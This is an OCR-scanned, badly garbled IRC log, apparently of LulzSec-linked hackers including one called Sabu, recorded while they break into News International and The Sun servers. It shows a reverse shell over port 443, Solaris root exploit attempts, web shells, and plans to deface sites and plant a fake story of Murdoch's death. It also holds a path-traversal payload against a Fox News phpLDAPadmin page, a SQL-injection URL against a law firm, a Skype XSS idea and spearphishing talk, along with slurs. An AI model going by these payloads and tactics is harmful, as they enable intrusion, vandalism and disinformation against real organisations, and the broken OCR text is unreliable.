it maek me raeg! 
"for some 

bbl 

kk 

hows the VM going 




http status 
18:51 <" 
18:51 
18:52 
18:52 
18:52 



code 




here? 



how do I set a custom 404 page on lightppd? 
orum . 1 i ghttpd . net/topi c/441 

so yeah, most important thing is to NOT forget sending a 404 

1 



much get nu 
18:54 < 
18:55 < 



why does all li ghttpd stuff look so simple and beautiful 
the default page, the directory listings, the forum... 

ght 
mple 

7 

meant to be light (simple) :D 
well yes 
but like 

the enti re design 
of all that stuff 

I mean, li ghttpd is the only httpd that has directory indexes 
ook good 
e 

while they are still really simple 
idk who does their graphic design 

but I love it 

yeah i know what you mean 

ee 

no frills and bullshit everywhere, just a really simple, pretty 
and beautiful design 

like, comparing that to nginx and apaches ugly pages... :P 
Hiawatha is somewhat ok, but still meh 

^^^^H - I will DELIBERATELY forget to Send an error status 

so SQLl tools CHOKE 

lol 
:D 
hah 

u iz 

that's going to cost you some google points though 
:P 

seriously. Omit ewrrors and auto tools just... DIE :D 
and I dont think im indexe 
: P 

google doesn't like websites returning wrong status codes 
wFiat response do i get if i dont return an error code (raw) 

if you don't send 404 status codes on your 404 pages you pretty 

ked from their spider database :P 
__ wdymean? 
nc weo^^e.com 80 
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18:55 < 
18:55 < 

18:55 < 

explicitly, 
18:56 <" 
18:56 < 
18:56 < 
18:56 < 
18:56 
18:56 < 
18:56 < 
18:57 < 
18:57 < 
18:58 < 
18:58 < 
18:58 < 
18:59 < 
19:00 < 
19:04 < 
19:04 < 
19:05 < 
19:05 < 

19:05 < . 

that comman 
19:05 < 
19:05 < 
19:05 <' 
19:05 < 
19:05 < 
19:05 < 
19:05 < 
19:06 < 
19:06 < 
19:06 < 
19:06 < 
19:06 < 

19:07 < _ ^ 

http://stati 
ed+a_aebee4_i 
19:07 





#! sunnydays.log 
GET /notexist.html HTTP/1.1 

if you don't change your error page it would return 
_ if you do change your error page and don't output a 
expect it to send a 200 
ah , got i t 

obivous question aa 
since the 404 page was found (200) 
: P 

is not an expert on http status codes though 
I once wrote a really really REALLY simple httpd in vb 
only served static files 
only supported GET requests 
but hey, it did the job! 
s is awesome too 
while true; do nc -1 -p 80 -q 1 < index.html; done 
1 line http server :D 
(implying netcat is installed) 
Solaris vm complete 
:D 

best of luck 
lol 

its fucking sIowAA 

would it be possible to have a 

like, an actual folder 

yes 

with images etc 
image no 

just one html page 
ah 

( 



a http 404 
status code 



net 



static html server using 



19:08 
19:08 
19:10 
19:13 
19:14 
dedicate' 
19:14 < 
to security 
19:20 < 
19:20 < 
19:20 < 
19:20 < 
19:20 < 

19:20 <' 

204.yyy.229 
19:20 <■ 
19:21 
19:21 
19:22 





19:23 
19:23 



1 you sent this page if you link the images external 

it will work 

or somehow include them in this file like .mht 
^_ eww, mht 
yeah mht sucks 

c . f j cdn . com/pi ctu res/Mi necraf t+bachel or+okay+to+those+who+say+l+ve+us 
2346604.jpg 
lol . . . 

this vm is more than slow 
i did something wrong i guessAA 
_ lols 
vm works 

"So, now, our French bank has decided that having 2 employees 
c ITck buttons for us was too much work, and is kicking us out. " 
Mt. Gox bitcoin exchange on the manual SEPA transactions (due 
standards) handled by their bank 
ah shit 
nice one 
compi 1 i ng^^ 
worRin on it 

but i think this box is not even vuln to this exploit 
promote 15322 1 0 19:38:01 ? 0:00 perl /tmp/bc.pl 

yy 443 

is this one of you? 
shit ya 

i'm backconnected in 

then i wont kill it 

oh, ^^^m^H do we haz a reverse shell? 

usi n^Pe^T^^ 

yep 
:D 

thats going to.... my vps? 
the fuckin built in backconnect works on port 443 
yup 

(no wories, just theres like 4 of us SSH-ed in) 
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19:23 

19:23 

19:23 

19:23 

19:27 

19:27 

19:27 

19:28 

19:28 

19:28 

19:28 

19:28 

19:29 

poke , 

19:29 

19:29 

19:29 

19:29 

19:42 

19:42 

19:42 

19:42 

19:42 

19:42 

19:43 

19:43 

19:44 

19:44 

19:44 

19:44 

19:44 

19:45 

woul d 

19:45 

tryi ng 

19:45 

19:46 

19:46 

19:46 

19:50 

19:50 

compi 1 

19:50 

19:51 

19:52 

19:52 

19:52 

19:52 

19:52 

19:53 

create 

19:54 

experi 

19:54 

19:55 

would 

19:55 

19:55 

19:55 

19:55 

19:55 

19:55 

19:55 

19:55 

19:55 

19:55 

19:56 

19:56 





#! sunnydays .log 

yeaFi 443 works often 
forgot avout 443 . . . 
firewalls like 443 
ok 

i hopd s 

i hope we can root 
^^■^^g no am 

now- 

I wonder could we spearphish some newsint.co.uk execs 

hi 

ah 

■■^H if want to host his stuff anywhere, give me a 

e am^to hos^^^on the anonnews server without any issues 
or on any other server, pretty much >.> 
sendspace is rather... shitty. 

okay cool, I'll DM him 

aris is SO retarded 

heh 

Tt doesnt even have a package manager by default 
e/#! sunnydays [+ooo by ^^^^ 

then i installed one 

and it does not have 'gcc' in the cataloge 
lo1 , yeah sun does use its own cc? 
http : //gcc .gnu . org/ml /gcc/1999-08n/msg01022 . html 
well i cant copy paste 
si nce-> 

me -> vpm -> rdp -> vm -> Solaris 
lags as fuck tooAA 
mm 

i installed the vm on the rdp because downloading solaris.iso 
t ake to long here 

<^^^H and im almost sure that the exploit wont even workAA but i keep 

_ hmm shouldnt there be other possible sploits? 
well it would be the same problem at all -> no compiler 
have to solve that first 
oh ye 

any of you guys ever heard of 'freemand on the land' concept? 

im gonna ask in #antisec if anyone uses Solaris and wants to 

e something 
< g— ? 

<|^^^^Hy not, target is unknown. 

<^^^^^^^| ya i have 

<^^^|^^|| what about 1' 
< ^^B^^^[ ~what are your thoughts on it? 

< g^^^^^J talking to a dutch person about it now 
< ^^^^^^J and it seems -very- interesting 

<(^^^^^^g and not like the usual blabber you find in conspiracy-nut 
d 'alternative systems' 

^^^^^^g i'm very familiar with the OS, 12+ years Solaris 

ere 
Athis 

ya it seems like it makes logic sense, but I would imagine you 
ucked over 

well, I'm just reading about someone involved in this 
in ^^^^^^^^^^1 

[^^B^^^^^^^^^^^^^^^^B has joined #! sunnydays 

asKcanr^^^^^^^^^^^^^^^ 






e compi le 



who has been forcibly placed in a mental treatment centre 
my connection seems stable now, hi chaps 

cool 
1lo 

make pa^e^i give me pro :p 
hey :D 
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19:56 
19:56 
19:56 
19:56 
19:56 
19:56 




#! sunn ydays . 1 og 
not just a pro, ^^^g 
CEO of consuming pie 



20:01 
joinec^^ 

20:02 < 
20:02 H 
quit LPT n 
20:02 
20:02 < 
20:04 <' 
i nteresti 
a few of 
20:04 <' 
20:04 <' 
20:04 < . 
that obv 
20:04 
20:05 
20:05 
20:05 
20:05 
20:05 
20:05 
20:06 
20:06 
20:07 
20:07 
20:07 
20:08 
20:11 
20:11 
20:11 
20:11 
20:11 



howdy 

does that give anything or is it just fancy? 
just fancy 

heh k 

^^^g pm for a sec 

well, 1 tweeted to them for a follow shout after i created my 

which got 2000+ hits in 60 minutes (w/o any pastes) lol 

okay I sense our profile creations will spark others 
do we have the "anonymous" username? 
I registered niggers already 
I creat ed AnonymouslRC 
[^^^kon jassi em-Al9BED09 . b- ras3 . mvw . gal way . ei rcom . net] has 
sunnyd ays 

^^^1 i ate so much i cant move anymore :/ 

^^^^B [^^Bkonjassiem-9290ABDC. b-ras3. mvw. galway.ei rcom.net] has 

g timeout] 

is now known as 

good job :D 




guise found a Solaris guy who also might have some 

ng info.. shoTnd get him in some channel on anonops and talk, would like 
you guise there 

not ready yet to invite him to #bucc 
should i create a channel? 

apparently he helped before with another handle but cant verify 

yup go ahead 
Tn<eep being DC-ed 

xiframe src=' ' onload=alertC'niggerdicks')> 

stupid Skype faggots 

mode/#! sunnydays [+o ^^^^^B by 







passwor 
20:14 
20:15 < 
20:16 < 
20:16 
20:16 
20:17 
20:17 
i ssues 
20:18 <' 
20:18 
20:18 < 
20:18 < 
20:18 < 
20:19 < 
20:19 < 
20:22 < 



snou Id worh 

has quit [Client exited] 
has joined #! sunnydays 
ow are things going with this operation? 
better, we have reverse shell now 

working on rooting the bitch, but need help from Solaris guy 
accept invite aa 

[■bf51c0d0.a1a70ee4.5fc01479.ip] has joined #! sunnydays 
"a^^east this tim e my VP N is dropping and not my ISP 
that's good news, ^^^^ 

do you want me to try and write a few stories about the deaths? 

anywi^vn^go^ar^^i^^^t^ffD^^T on anonops — join if you 
ing to that Solaris guy 

who has inside access to NY DA office 
i s now known as W^K^M 

_ |bf51c0d0.aia7?}eE4. 5FC01479.IP] has quit [User quit: IDK my 

'what do you think this is?] 

[^^^^^^^^^^^^^^^^^^^^B has joined #! sunnydays 






like an insider or computer access? 
e leaking documents 

is newsint rooted? 

working on it 

okay sorry for questions, just a bit behind due to my connection 

no problem :D 

you can also query me with ! status haha :D 
Fuuuuuuuuuuuuuck Ny da! 
! status 
lol 

status: waiting for compiled exploit 
status: got someone whos compiling it 

holy shit, plz no tell me you wrote a bot to autostatus? 
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20: 


;22 


<i 


20; 


;22 




20; 


;22 


< 


20; 


;22 




20; 


;22 


< 


20; 


;22 




20; 


;23 


< 


20; 


;23 


<i 


20; 


;23 


<i 


20; 


;23 


<i 


20; 


;23 


<i 


20; 


;23 


< 


20; 


;23 


< 


20; 


;23 




20; 


;23 




20; 


;23 


< 


20; 


;23 




20; 


;23 







I am tal ki ng 
local author 




20: 


24 


<@ 


20: 


25 


<(s| 


20: 


25 


<® 


20: 


25 


<@ 


20: 


26 


<@ 


20: 


26 


<(9 


20: 


26 


<q 


20: 


26 




the RTLO 


20: 


26 


<@ 


20: 


26 


<& 


20: 


27 


<a 


20: 


27 


<(g 


admi ni st 


20: 


27 


<@ 


20: 


27 


<(a 


20: 


27 


<(a 


20: 


29 


<(9 


20: 


29 


<@ 


20: 


29 


<(a 


20: 


29 


<@ 


20: 


29 


<@ 


20: 


29 


<^ 


20: 


29 


<^ 


20: 


29 


<& 


20: 


29 


<^ 


20: 


29 


<@ 


20: 


30 


<^ 


20: 


30 


<® 


20: 


30 


<@ 


20: 


30 


<@ 


20: 


30 




20: 


30 




20: 


30 


<| 


20: 


30 




20: 


30 


^1 


along 




20: 


30 




20: 


30 


<@i 


20: 


30 


<® 


20: 


30 


<(s| 


20: 


30 


<@i 


20: 


30 


<@ 


20: 


30 


<@ 


20: 


30 


<@ 


20: 


31 


<^ 


20: 


31 


<& 


20: 


31 


<& 



#! sunnydays .log 

haha :D 

lol 

Oh "CHALLENGE ACCEPTED" 

yeah 

Wheres my PM flooder 

that was my face 
PM flood jj^H with ! status 

1 was thinkin^or how the bot and i can use the same nickname 

FFFFUUUUU 

thers not bot (yet) 

this is interesting, 
aaah lol 
I was joking 

:D 

double trolling 

Imagine if I s ent you 9001 ! status PM's :P 

de/#|sunnydays [+ooo ■■■■ ^■■^H t)y ^^^g 

'2 I was talking aoou^tm s^^eeman or^n^^nd trmi^T. this guy 

to... actually has a template of letter that you can send to your 
ities to 'declare your independence' 
heh, so it works? 
supposidly 
but not really 
lol 

there are a few cases of people pulling it off 
but it ain't easy 
this... template seems legit 
_ changed the topic of #! sunnydays to: This is the channel of 
rate Team, oh what a sunny day it is today! 
! status 

status: got compiled exploit 
:D 

you basically update your details in the central person 
to signify that you are a 'free man on the land' 
any errors? 

hmmmmmm. imma send it to the president or something 
or mail bomb enda kenny with em 
_ lol 

we have joy we have fun we have root on Murdoch's Sun. 
well not quite yet. 
rofl 







do you know if this server is x86 
or something different? 

you should post that on twitter, just before releasing 

@ 

lol 
yup 

micrositel # ./exp 
: cannot execute 
^^Hmicrositel # chmod +x exp 
^^^micrositel # ./exp 
Vexp: cannot execute 
(fake root is fake) 

i wont forget it., it's in my head for a while now., humming 

hm 

why cannot? 

wait wtf 

probably architecture 
micrositel # 
I hope we can access the other sites 

ya 

are we root al ready? 




it ain't actually root 

no its fake 
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whos contents" 
worked on lol 



20; 


;33 


<i 


20; 


;35 


<i 


20; 


;35 


<i 


20; 


;35 


<i 


work? 
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i nterna 
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1 i stene 
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<i 


20; 
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;49 


<i 


20; 


;49 


<( 


20; 


;49 


<( 






#! sunnydays .log 
its bug of my ref shell 
its trolling me 
aaaaah 

) 

chmod 777 exp 
sometimes 
i was 1 i ke OMG 
whoami 

sometimes +x no herpaderp 
____ promote 
tried 777 also 

micrositel # ./exp 
exp: cannot execute 

micrositel # chmod +x exp 
micrositel # ./exp 

cannot execute 
micrositel # chmod 777 exp 
micrositel # ./exp 
p: cannot execute 

micrositel # uname -i 

SUNW,Sun-Fi re-v240 
_ micrositel # 
that should give permission denied tho? 
shit! 

ah. hmmmmm 

well its compiled for x86 
and if the server is not x86 
> fail 

damn why couldn't they just have a worldwritable text files 
get executed as root every minute like one of the last boxs i 

heh, IF only 

found problem 
will be solved soon 

nice., tho it still is questionable whether exploit will actually 

after this we should scour Skype for more vulns 
ear that the latest profile boxes are bOrked <3 
indeed 
I have a few ideas 
RTLO (for me) makes it impossible to type in the box 
I should make a video for you 
hmmmmmm. . RTLO. . . 
best of luck 

I hope this works! 
imme^rb 

If we get root do you think we should try spearphish now news 

executive 

hmmmmmm. if root = true 

daemonize or otherwize make that BC connect as root to the 
mi nutes 

what about right-to-left embedding? 
LOL I have to make a video of this 
I have just raped the "add mobile" box 
maki ng the " add number" URL disappear 
umm ~ 

I just got 





into Skype and got a "ROFL' 



guess wr 

Imfao 
I just signec 

LOL 

wat 

HAHAHHAHAHAHHAHAHAHHA 

looks like the XSS vuln still works? 
wat? 

Shi i i i i i i i t 
Ok 

XSS vuln? 
let's exploit this 
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55 
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#! sunnydays .log 

wat? 
yeah 

lolo" 

Exploit Kit Time 

elaborate. . 

we have XSS for Skype 

its public since today 
okay what the fuck just gave me 

the ROFL one? 
ohhh 
look 



that 





the fuck out of it 
down? 





XSS 

onl oad 

so when Skype starts it actually boots the profile 
hmmmmmm 

rather than looking at the updated one 
okay so... essentially you can... 

! staus 

RAPE ALL OF YOUR CONTACTS? 

NOW thats interesting... we change onload to ??? 
and yes 

LOLOL 

status: THE EXPLOIT KILLED THE BOX 

rape them all 
_ Status WTF?! 
uck man 

! status 

shiiiii- 

srsly wtf 
uh oh 

could it kill the whole fucking thing 
I think 
our exploit 
just forked 
gief source 
__ you sure its 
ned this one 
http : //www . expl oi t-db . com/expl oi ts/15962/ 
Argh :/ 

that i cant reach the webshell anymore 
rev got disconnected 
probably will just reboot 
o 

_ I cant rech shell :/ 
wont execute anything again :D 
hmmmmmm 
Ok 

Once it reboots 

we need to just deface everything we can 
before they patch! 
Agreed? 

dunno what we can do now 
_ we wait 

oot, we go in, we just deface all that we can# 
they changed the owner of newint.co.uk directory 
hmmmmmm 
shit 

its owned by like '1000' now 
what can we deface, provided they change nothing new? 
deface by any means - DNS even 
ther ewas a notw/ folder with an index.html 
didnt check if it actually was the notw site though 
_ looked a bit too small for it 
we should not do anything 
but waiting 

aye, wait til its back up 
then hope we get back in 
then, obliterate fucking everything 
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phones 
20:58 



that 



20: 
20: 
20: 
20: 
20: 
20: 
20: 



58 
58 
58 
58 
59 
59 
59 



21:00 
21:00 
21:01 
21:01 
21:01 
21:01 
21:01 
21:01 
21:02 
21:02 
21:03 
21:03 
21:03 
21:03 
21:03 
21:03 
21:03 
21:03 
21:03 
21:04 
21:04 
21:05 
21:05 
21:05 
21:05 
21:05 
21:06 
21:06 
21:06 
local 
21:06 
21:06 
21:07 
21:07 
21:07 
21:07 
21:07 
21:07 
21:07 
21:07 
21:07 
21:07 
21:07 
21:08 
21:08 
21:08 
21:08 
21:08 
21:08 
21:08 
21:09 
21:10 



#! sunnydays .log 

agreed 

Signing into s kype ag ain 
expecting 9001 ^^^H 
^^^^^ sign intosKype thar 
. no 

ya it was the notw site 
I just had to use the skype.com website to remove 3 mobile 
were RTLOs 

its only a parking page now 
tFiat deface alone is worth 9000 internets 
people will cheer for us everywhere 

they have a shit load of redirects in their apache configs 
I wonder could we redirect everything to a deface page 
m sun website is up tho 

ya, its on a different server on same Ian i think 

1 snt defacing media same as ddosing media? 

http : //extras . thesun . co . uk/php/phpi nf o . php 
or site is still up 

nah, we're not shutting them up :p 
bleh, it's murdoch 







i doubt there will any outcry 
ell 

damn this is weird 

1 got a theory what happened 

Network Error Cgateway_error) hmm weird 

u> haha bro 
u> you killed the box? 

extras.thesun.co.uk is broke 

u> sorry I been absent gents I been working 

shit exploit was shit 

u> gotta make money ;\ 

XD 

- theory? 

ttp : //newsi nt.co.uk/ 
is still up, i confirmed that was actually on our box 

hmmmmmm 

seems that something in theredied 
u - i killed it by accident 
_ lol 

ttp : //www . expl oi t-db . com/ expl oi ts/15962/ 
fucked it up 

we dun goofed 

micrositel # ./exp2 
oagie_solaris_siocgtunparam.c - Solaris root < < 5.10 138888-01 



<i 
<i 

<©Sabu> 
<(asabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 

< (gSabu> 

<( 
<( 



-andi / void. at 

was last thing it sent 

its ok rother 

come back 
lets just assess what we got 
lets imagine we cant root it 

im going to talk to my people on efnet with Oday 

etc. 

ut 

but 

letsi magine we cant 

what do we have access to? 

any dbs? 

i ntranet? 

defacement? 

nada basically 

since they changed the owner group 
hmm 

but i dont know details, focussed on rooting 



ok 



I think we MIGHT be able to deface 

They change the owner for most of he files on newint.co.uk 
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#! sunnydays .log 

from the web user to 1000 

gtg 
brb 
"kk 

lol the booz alien things is still making news 
well "news" 
ol ds . 

)u> true to that 

did anyone check what that shell code does? 

yeaK 

of course 

i still cant see what could crash the server like this 
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;31 


<i 
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<i 
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<i 
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http://i 
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<( 
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<i 


thesun . > 
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<i 


al674. 
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<i 


21: 


;47 


<( 


21: 


;47 


<( 





box 





shit has crashed on the main sun site, that is being linked to 

what? ! 

that page works fine here 
ah got it 
wei rd 
! status 

oh wait now it works for me 

status: confused 
unstable server 

god why do they need to run sun? is it cause of the name? :o 
lool 

there is two boxes i think, maybe they are load sharing and 

7 

lol 

oh lawdy 

bad architecture 
fuck sun and fuck the sun 

i s baaaad 

Non-authoritative answer: 

extras.thesun.co.uk 

gesuite.net. 

thesun.co.uk.edgesuite.net 

net . 

Name: al674.b.akamai .net 
Address: 92.123.66.251 
Name : al674 . b . akamai . net 
_ Address: 92.123.66.130 

well, isnt there a similar box that could be backdoored the same 
god why do they need to run sun? is it cause of the name? 



canonical name = 

canonical name = 




got the #brief thing 



Atought about it :D 

well the positive effect of that is we 
btw whats in that dump i downloaded, 
haven't looked at it yet 

i'm not sure I don't have acopy 

ok will check it 
pOrn 

^^^l^m - if the vuln page is still there 
w^iav^iO mins til midnight 
its a backup of the old news of the world site 
:D 

there was a fuckin error log after all 

I didn't need to wait for the access log lol 

tw 

www. newsi nt . CO. uk-basedi r-20110712 ah k 
did we make progress on the fox inclusion? 

bloody apache config lied and said it was a combined log 
can someone send me the fox link and ill have a look 
emme check if i have t 

daylight saving time! 
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#! sunnydays .log 
. com/phpl dapadmi n/cmd . php?cmd= ../../■■/■■ /etc/passwd%00 



we need to find 
so we can write 
and include it 

-> wi n 

ftpd logs are also 



out where 
shell code 
with this 



okay 



the httpd saves it logs 
in the log 
Ifi 



21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:49 
21:49 
http: 
e=jes 
21:49 
21:49 
21:49 
tweet 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 
21:49 



f oxnews . com/phpl dapadmi n/ cmd . php?cmd= ../../../■■ /etc/passwd%00 
ah damn 
roo slow :p 

ARGH! Wat the shit is DST?! 
just have that as note in browser 
daylight saving time? 
nice one guys 
since i reposted it like lOOOOtimes 

yeah daylight saving time. GMT+1 = UK Time 
aahahahaha 

//th3 j35t3r . wordpress . com/2011/07/13/softly-softly-catch-a-monkey/?utm_sou 
ter%27s+Cou rt+Bl og&utm_medi um=twi tter 
<©Sabu> jester fell for the disinfo 
god that guys a faggot 

Sabu, these kids that made the real Sabu blogspot referenced a 





^1 on it 

site is made 



21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 
21: 



50 
50 
50 
50 
50 
50 
50 
51 
51 
52 
53 
53 
54 
54 
54 
54 
54 
54 
54 
54 



<@Sabu> 
<@Sabu> 
<@sabu> 
<(asabu> 
<©Sabu> 
<©Sabu> 

<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 



that said ^ 
t hat blog spot 
YES ^^^B 

I was telling everyone 
shakes head 

HAHAHAHAHHAHAHAJ 
AA 

A 
A 
AA 
A 



by him too, i suppose 



there 
21:55 



rofl 

Lets run with it 

so far I am doing good maintaining it 
you know whats funny? 

te fact I admitted I was ^^Bgot mad support from people 
1 i ke FUCK YEAH ! ! ! 
WE SUPPORT YOU SABU 

I'm like 
lol 

they cant touch you anyway i guess 
and even if they can: #opSabu is incoming :D 
jester should hope he never will get doxed 
since probably 64^ people want to kill him :D 

that fox Ifi really slow to load for you guys? 

anything good in the dump? 

at slow normally 
_ - its just porn, he wont be back for a while ;) 
JO King BTW) 
lol 

I know 

iu> #opSabu = win 
<@Sabu> remember 

< @Sabu> a s soon as I go down cause chaos :D 

<n|^H ^^^^^^H ^ot sure, most is just public www stuff 
might be som^otner shit. 
<©Sabu> haha j/k 

Oh fact sabu, second they drop you 
proxy-dec. pac 
itw love you bro 

dev 

we say "ZOMG they GOT WRONG SABU" 

:d we will create a giant sabu memorial 
<3 ^^^H 
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#! sunnydays .log 
and rape everyone 
d: 
_ * :D 

"will assume Sabu 
is now known as Sabu_ 

JSabu_> yo 
21:55 <©Sabu_> okay brothers 

21:55 <©Sabu_> so I was talking with my Vent Oday bros 
21:55 <©Sabu> hahahahha 
21:55 <(asabu_> from the 90s 
21:55 <^ 



21:55 <@Sabu_> they god mad shit HAHAHAHHAA 




21:55 
21:55 



Sabu 



21:55 < 
21:55 
21:55 < 
21:56 
passwor 
21:56 <(asabu> 




_ lol 

IS now known as 

it needs work 



has my password anyway 

21:56 <@Sabu> HAHAHAHHA 
21:56 <@Sabu> AHAHHAA 
21:56 <@Sabu> OWNED 



21:56 BB^ 

21:56 <(asabu> ownedhahaha 
H :D:D 



has quit [User quit: 



has joined #! sunnydays 



21:56 <(^^m 
21:56 <(dsabu> 
21:56 < 
21:56 < 
21:56 < 

21:56 < 

21:56 <@Sabu> so 
21:56 <@Sabu> yeah 
21:56 <" 




I need to give you my new twitter pw in case 

we will never know if sabu is missing 

are they static files or dynamic 

ut you guys al ready know how i type 
will replace him 
ere you go 



21:57 < 




u - im sorry, I cannot do that laugh 
_ I think will do a good job 

AHHAHAHEHEHAHHE 

one? 
I can't either 

they could be the same code thats used on the sun and the 
Close enough :P 



21:56 <' 
21:56 < 
21:56 < 
21:56 < 
21:56 < 
times 

21:56 

21: 56 <@Sabu> HURuHEAUEHuhaeuEHEUAHEUhuaehuHEAU 



we need a hash of sabu to prove if hes real :D 



21:57 <(asabu> Its pure brazil bro. 





ok, copying that :P 
how are you doing it so fast? 
_ we might be able to find a sploit 
practice 

they look static to me. should i upload it again 

hmm 

doesnt look really interesting tho 
ok damn 

if they are just html don't bother 

I thought there might be source code for their sites 

nah it seems rto be just the www basedi r really 



21:57 <(< 
21:57 < 
21:57 <Q 
21:57 <(asabu>" 
21:57 <(<_ 
qui kckly? 
21:57 <f 
21:58 <(< 
21:58 <^ 
21:58 <^ 
21:58 <^ 

21:58 <C< 

21:59 <@Sabu> 

http : // technol og . msnbc . msn . com/_news/2011/07/13/7076220-anonymous-hacks-monsanto- 
computers-posts-employee-i nfo unf 



21; 


;59 


<i 


21; 


;59 




21; 


;59 




21; 


;59 


<i 


22; 


;00 


<i 


22; 


;00 




22; 


;00 


<i 


22; 


;01 


<i 


of 


an 


i 


22; 


;01 


<( 


22; 


;01 






aid you ever hear from the raytheon guy again? 
Sabu: oops? how did we miss that? 

unfortunately not :/ 

1 start believing he was kind of spying on us 
(■^^H^im^l has quit [Ping timeout] 
a^ougrwT^^TOnt got anything 

^ hey guys pretty basic question, if we can control the contents 

"rame that is loaded on a site, can we redirect the page etc? 
well what info did he get from us, none? 
yep 
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22:02 
22:02 
22:02 
22:02 
22:03 
22:03 
22:03 
22:04 < 
22:05 
22:05 
22:05 
22:05 < 
22:05 < 
22:06 < 
22:06 
22:06 
22:06 

22:06 

22:06 <@Sabu> ok 
22:06 < 
22:06 < 
22:07 < 
22:07 
22:07 
22:07 
22:07 
22:07 
story? 

22:07 < 

especially 
22:08 <' 
22:08 < 
22:08 < 
stories it 
22:08 <@Sab 
22:08 <©Sab 
22:08 <@Sab 
22:08 <@Sab 
22:08 <(asab 
22:09 < 
22:09 
22:10 
22:10 
22:10 
22:11 
22:14 
22:14 <' 
22:14 <@Sab 
22:14 
22:15 



#! sunnydays .log 
has joined #! sunnydays 

nada 

yeah if we i frame everything we can redirect to a deface right? 
thx sabu, tweeted 

yes 

ok 

_ we should be able to do that to the suns homepage so 
what are we defacing Sun with, W^g^^^^ comic? 
that should definitely be i ncl ude^^^^^^ 

can we do same on notw still? 
before we deface 

i would like to try a last exploit aa 
if this is okay 

I take it the fake stories are out then 

< http : //www . expl oi t-db . com/expl oi ts/15245/ 

what fake stories? 
the exploit looks much more peaceful aa 
lol 

retweeting 
ut.. do we still have shell axx? 

If poss, fake story 

server comes backx 





comic is the tweeted press release 
ohh 

now i get it 

we could redirect the suns home page to a site with a fake 

well you have stuff prepared? some fake news is probably better, 

cause it wont be so blatant., but., well, whatever, 
but all in all its not what I hoped for 

what can you do! 

if we can redirect them al to dofferent fake 

would be tunny 

u> or redirect sun to a pastein 
u> with our press erlease 
u> or someshit 
u> pastehtml 

u> or are we aiming to do a fake story? 
we are aiming on root aa 

Sabu - fake story is funnier 
and root is funnier still 
yup, but I dunno if its gonna be possible 
when will the server come back, tomorrow when tech gets in? 
ably 
_ ok 

u> yu 

u> I agree 

think they will realise what happened? 
root exploit in the tmp directory? 

^s^n^tn^same directory as shell >.< 
let's redirect the Sun to ©LulzSec 
on twitter 





<iasab 
new track n 
22:17 <' 
22:18 <' 

22:18 < 

http://stac 
ction-usi ng 



or a Lulzsec pastebin 

i need to lookup can we redirect the parent page from an 

anyone wanna give it a test 

regarding #voice do you want me to get you in contact with 

ecting other revolutionary musicians with him 

and collaborating, him and two other rappers are making a 
e studio titled war 
oh it will be cross domain too 
I have a feeling some browsers might block that 

l<overf 1 ow.com/questi ons/580669/redi rect-parent-wi ndow-f rom-an-i f rame-a 
-javascript 
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22:18 < 
22:18 < 
22:18 < 
22:18 < 

22:18 < . 

thing to bare 
i frame need to 
denied excepti 
22:18 <■ 
' i frame 
22:19 



this! 



#! sunnydays .log 



down vote 




wi ndow. top. location . href = "http://www.site.com"; 
As stated previously, will redirect the parent i frame. One 
in mind is that both the website, and the site contained in the 
in the same domain for this to work, or you'll get an access 

and the i frame is 



be 
on . 



So, if the site is 'www.site.com' 
in both pages you'll need to put: 

thats what i though 

Its basically the same domain 

extras. .thesun.co.uk and www.thesun.co 



ukk 



its just a subdomain should work imo 

he says specifically that a sub domain won't work 



22:20 < . 

work with sett 
22:20 H mode 
mode 



we need 

he says 
ing document. 
/#! sunnydays 
/#! sunnydays 



'iframe.site.com' wont 




to test and find out! 
www.site.com, and the i frame is 
domain = "site.com" 
[+0 ^^l^^l by 

[+0 ^Bby 

http://www. exp I oi t-db . com/expl oi ts/15245/ 
damn why didn't we try the verified exploit first 
cause its older 
and i didnt saw 

actually it was stupid, yes aa 
no its not your fault 
don't worry about it 
do we need a valid user login for it? 
re? 
yar 

Sabu: sounds good to me 

HH^I ~ seeing as we like social media 

ok ^^^ne box rebooted? 

should LulzSec have a google+ 
or stil l off? 
beats ^^g^H with a crowbar, repeatedly 
what ^^goo^e+ anyway? 

silly question but I never looked at it once 
has NO IDEA what it is 
Tfe facebook but better 
the new facebook or so. 

XD 

lol 

but I got sent an invite to my lulzsec email 

like* 

so. . I thought "hurr durr" 

if u check if the shells are still alive 

ere r 2 

look for the gny one if u want to mass inject all the pages 
(dont remember how were the rights set) 

it's probably infested with metal gear accounts from 



Rupe 
in hi 
a large 
late 1 



are also the ones sending out all the invites 

like 100+ offers on twitter already 
St found this: Bisbee. Cochise. County. Financials 

un released 
t was boring anyway 
i just got a link to one shell 
ow about more 
ere is maybe 5 shells 

2 - any of them alive? 

e sec 

rt Murdoch, the controversial media 
s garden, police announce. Murdoch, 

quantity of before stumbling into his famous 

ast night, passing out in the early hours of the morning 
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22:43 <« 
cooked , 



#! sunnydays.log 

"We found the chemicals sitting beside a kitchen table, recently 
"icer states. "From what we can gather, Murdoch melted and 



consume d large q uantities of it before exiting into his garden. 
22:43 <^^H^^| Authorities would not comment as to whether this was a planned 
suicide, though the general consensus among locals and unnamed sources is that 

this is the case. 



22:44 
22:44 




uhm, is this fake from you? 
haha yes 

Imao! 
]ust a start 
in the last few minutes 
hehe k. . . :D 
hehehheheheh 

http : //extras . thesun . co . uk/wordpress/f ooter2b . php 



we can deface several 

embarrassingly enough I don't know anything about Rupert to 
aracter 

not that Sun would do that anyway 

dead, server still down? 

agh 



22:44 
22:44 <(( 
22:44 <^ 
22:44 
22:44 
22:44 
22:45 
22:45 
22:45 
describe" 
22:45 <^ 
22:45 <(< 
22:45 <(! 
22:46 <G_ 

http://www.wl rk. com/Page. cfm?Criteria=Yes&DeptlD=5-l%20UNlON%20SELECT%201, 2 --&Fi r 
stName=&LastName=&LawGradYear=&Name=Yes&Posi tion=Partner&SubThread=Search&Thread= 
Attorneys* 

this server is acting really weird 

someones likes to count rows? :D 

some php pages show fine some down 
vT Ep: // extras . thesun . co . uk/wordpress/version . php 
- send that to me tomorrow 

ana 111 count 

:D okay 

